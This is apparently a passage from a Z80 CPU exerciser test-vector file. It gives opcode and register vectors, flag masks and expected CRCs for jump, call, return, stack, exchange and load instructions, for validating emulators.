vec 0x00,0x01,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xafe685dd,all,0x47c8f363,docflags,0xafe685dd,doc,0x47c8f363,ccf,0x699bbcea,mptr,0xe0cb1a62
name "JR N"
.jr_cc_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x20,0x00,0x03,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x18,0x01,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0xc7ef0fbd,docflags,0x8b69e182,doc,0xc7ef0fbd,ccf,0x05e705e5,mptr,0xd8878382
name "JR CC,N"
.djnz_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x10,0x00,0x03,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x01,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0xff00,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x4031e70c,all,0x6c92b0b3,docflags,0x4031e70c,doc,0x6c92b0b3,ccf,0x44be1574,mptr,0x5ed4d6bd
name "DJNZ N"
; Calls.
.call_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcd,jmpl,jmph,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem ; not memsp!
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0x95eb1599,docflags,0x919e2255,doc,0x95eb1599,ccf,0xc3f6460b,mptr,0xebaa4276
name "CALL NN"
.call_cc_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc4,jmpl,jmph,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem ; not memsp!
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x87b32d29,docflags,0x8b69e182,doc,0x87b32d29,ccf,0x05e705e5,mptr,0x4f18bfbb
name "CALL CC,NN"
; Returns.
.ret flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc9,stop,0x00,0x00,mem,jmp ,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0xb24f5c05,docflags,0x919e2255,doc,0xb24f5c05,ccf,0xc3f6460b,mptr,0xebaa4276
name "RET"
.ret_cc flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc0,stop,0x00,0x00,mem,jmp ,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x2b7f37ec,docflags,0x8b69e182,doc,0x2b7f37ec,ccf,0x05e705e5,mptr,0x4f18bfbb
name "RET CC"
.retn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x45,stop,0x00,mem,jmp ,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0xb24f5c05,docflags,0x919e2255,doc,0xb24f5c05,ccf,0xc3f6460b,mptr,0xebaa4276
name "RETN"
.reti flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x4d,stop,0x00,mem,jmp ,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0xb24f5c05,docflags,0x919e2255,doc,0xb24f5c05,ccf,0xc3f6460b,mptr,0xebaa4276
name "RETI"
.reti_retn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x45,stop,0x00,mem,jmp ,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x1afc36b0,docflags,0x8b69e182,doc,0x1afc36b0,ccf,0x05e705e5,mptr,0x8fcfb450
name "RETI/RETN"
; Push/Pop.
.pushpop_rr flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc5,0xc1,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,memsp
vec 0x30,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x80,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xdac88897,all,0x249c42e7,docflags,0xdac88897,doc,0x249c42e7,ccf,0x15c4c121,mptr,0xee37c5cb
name "PUSH+POP RR"
.poppush_af flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xf1,0xf5,stop,0x00,mem,0x0000,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8100,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x43219c3c,all,0x0deac469,docflags,0x43219c3c,doc,0x0deac469,ccf,0x4d06617f,mptr,0xf487ff91
name "POP+PUSH AF"
.pushpop_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xe5,0xdd,0xe1,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,memsp
vec 0x20,0x00,0x20,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x8001,iy,0x8001,sp,0x0000
crcs allflags,0xb168fa73,all,0x68436a76,docflags,0xb168fa73,doc,0x68436a76,ccf,0xc0d02259,mptr,0xbb40d1fd
name "PUSH+POP XY"
; Register swapping.
.ex_de_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xeb,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x8001,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x716b49bb,all,0x212155ff,docflags,0x716b49bb,doc,0x212155ff,ccf,0x9ff1906f,mptr,0xed1d720b
name "EX DE,HL"
.ex_af_af flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x08,0xf1,0xc5,0x08,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x30,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x81ff,a,0x81,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x3b686884,all,0x7f6c68db,docflags,0x3b686884,doc,0x7f6c68db,ccf,0x4cfa32a0,mptr,0xa54c92b7
name "EX AF,AF'"
.exx flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xd9,0xe1,0xc5,0xd9,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x30,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x81,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xea52817e,all,0xcf11ce0b,docflags,0xea52817e,doc,0xcf11ce0b,ccf,0xb0d477cd,mptr,0x7ffd5c45
name "EXX"
.ex_sp_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xe3,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x716b49bb,all,0x424b5572,docflags,0x716b49bb,doc,0x424b5572,ccf,0x9ff1906f,mptr,0x92523322
name "EX (SP),HL"
.ex_sp_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xe3,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,mem
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x8001,iy,0x8001,sp,0x0000
crcs allflags,0x0508a431,all,0x4f6123b9,docflags,0x0508a431,doc,0x4f6123b9,ccf,0x1eb64f30,mptr,0x91d12f85
name "EX (SP),XY"
; 8 bit transfer.
.ld_r_r flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x40,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x3f,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x01,f,0xff,bc,0x8001,de,0x8001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8cc99857,all,0x489568ef,docflags,0x8cc99857,doc,0x489568ef,ccf,0xbc21eb04,mptr,0x8e23d08e
name "LD [R,(HL)],[R,(HL)]"
.ld_x_x flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x40,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem-tail,iy,mem-tail,sp,0xc000
vec 0x20,0x3f,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x01,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x02d51675,all,0xf9a80f96,docflags,0x02d51675,doc,0xf9a80f96,ccf,0x889a70f6,mptr,0x8bd555d3
name "LD [X,(XY)],[X,(XY)]"
.ld_r_xyd flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x46,-128,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem+128,iy,mem+128,sp,0xc000
vec 0x20,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x8001,a,0x01,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x322904d3,all,0xc4c0b4fe,docflags,0x322904d3,doc,0xc4c0b4fe,ccf,0xa29318c8,mptr,0xde3b0199
name "LD R,(XY)"
.ld_xyd_r flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x70,+126,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem-126,iy,mem-126,sp,0xc000
vec 0x20,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x8001,a,0x01,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x322904d3,all,0xf64a5633,docflags,0x322904d3,doc,0xf64a5633,ccf,0xa81cad03,mptr,0xde3b0199
name "LD (XY),R"
.ld_r_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x06,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x835e406c,all,0x54c1de93,docflags,0x835e406c,doc,0x54c1de93,ccf,0x8bd6d3cd,mptr,0xe8e9b1ac
name "LD [R,(HL)],N"
.ld_x_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x26,0x00,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x20,0x08,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0xff,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x004badd9,all,0x96b86077,docflags,0x004badd9,doc,0x96b86077,ccf,0x6fcf31e3,mptr,0x8f78380c
name "LD X,N"
.ld_xyd_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x36,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0xff,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x8ad7acf3,all,0x5fb49529,docflags,0x8ad7acf3,doc,0x5fb49529,ccf,0x16f3e3af,mptr,0x76a22800
name "LD (XY),N"
.ld_a_rr flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x0a,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,mem ,de,mem ,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x10,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0001,de,0x0001,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x44659eca,docflags,0x8b69e182,doc,0x44659eca,ccf,0x5195291d,mptr,0xb4eabc1f
name "LD A,([BC,DE])"
.ld_rr_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x02,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,mem ,de,mem ,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x10,0x00,0x00,0x00,mem,0x0000,a,0x01,f,0x00,bc,0x0001,de,0x0001,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2de08788,all,0x17fca30a,docflags,0x2de08788,doc,0x17fca30a,ccf,0xfb8c6d82,mptr,0x6de7210e
name "LD ([BC,DE]),A"
.ld_a_mem flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x3a,meml,memh,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x01,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xafe685dd,all,0x6e96fa8f,docflags,0xafe685dd,doc,0x6e96fa8f,ccf,0x4f9c7261,mptr,0xe106f727
name "LD A,(NN)"
.ld_mem_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x32,meml,memh,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x01,0x00,0x00,mem,0x0000,a,0x01,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x9cc1b7f3,all,0xf5408e38,docflags,0x9cc1b7f3,doc,0xf5408e38,ccf,0x2c174b9f,mptr,0xf6ae8c1d
name "LD (NN),A"
; 16 bit transfer.
.ld_rr_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x01,0x00,0x00,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x30,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0xff,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x868a302b,all,0x1a6b8abc,docflags,0x868a302b,doc,0x1a6b8abc,ccf,0x91a444f8,mptr,0xcfa6d5ee
name "LD RR,NN"
.ld_xy_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x21,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0xff,0xff,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf1a4ac7e,all,0xf728df10,docflags,0xf1a4ac7e,doc,0xf728df10,ccf,0x9671de69,mptr,0xa6965d85
name "LD XY,NN"
.ld_hl_mem flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x2a,meml,memh,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xac8a6b94,all,0x3103f88d,docflags,0xac8a6b94,doc,0x3103f88d,ccf,0x7049ee1e,mptr,0xfb9ef23e
name "LD HL,(NN)"
.ld_xy_mem flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x2a,meml,memh,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa33672df,all,0x68579189,docflags,0xa33672df,doc,0x68579189,ccf,0xaf311f28,mptr,0xcdb40688
name "LD XY,(NN)"
.ld_rr_mem flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x4b,meml,memh,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x8001,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x1e1265f2,all,0x191f2bc3,docflags,0x1e1265f2,doc,0x191f2bc3,ccf,0x32ac7143,mptr,0x2960708f
name "LD RR,(NN)"
.ld_mem_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x22,meml,memh,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xac8a6b94,all,0x89eb910d,docflags,0xac8a6b94,doc,0x89eb910d,ccf,0x7049ee1e,mptr,0xfb9ef23e
name "LD (NN),HL"
.ld_mem_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x22,meml,memh,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x8001,iy,0x8001,sp,0x0000
crcs allflags,0x313a5635,all,0xce4d5643,docflags,0x313a5635,doc,0xce4d5643,ccf,0x8ea4e97a,mptr,0x8891b6e5
name "LD (NN),XY"
.ld_mem_rr flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x43,meml,memh,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x8001,de,0x8001,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x8001
crcs allflags,0xcf735d07,all,0x231acf55,docflags,0xcf735d07,doc,0x231acf55,ccf,0x46aaf65e,mptr,0x86a92365
name "LD (NN),RR"
.ld_sp_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xf9,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x8001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xac8a6b94,all,0xc85266f2,docflags,0xac8a6b94,doc,0xc85266f2,ccf,0x7049ee1e,mptr,0xfb9ef23e
name "LD SP,HL"
.ld_sp_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xf9,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
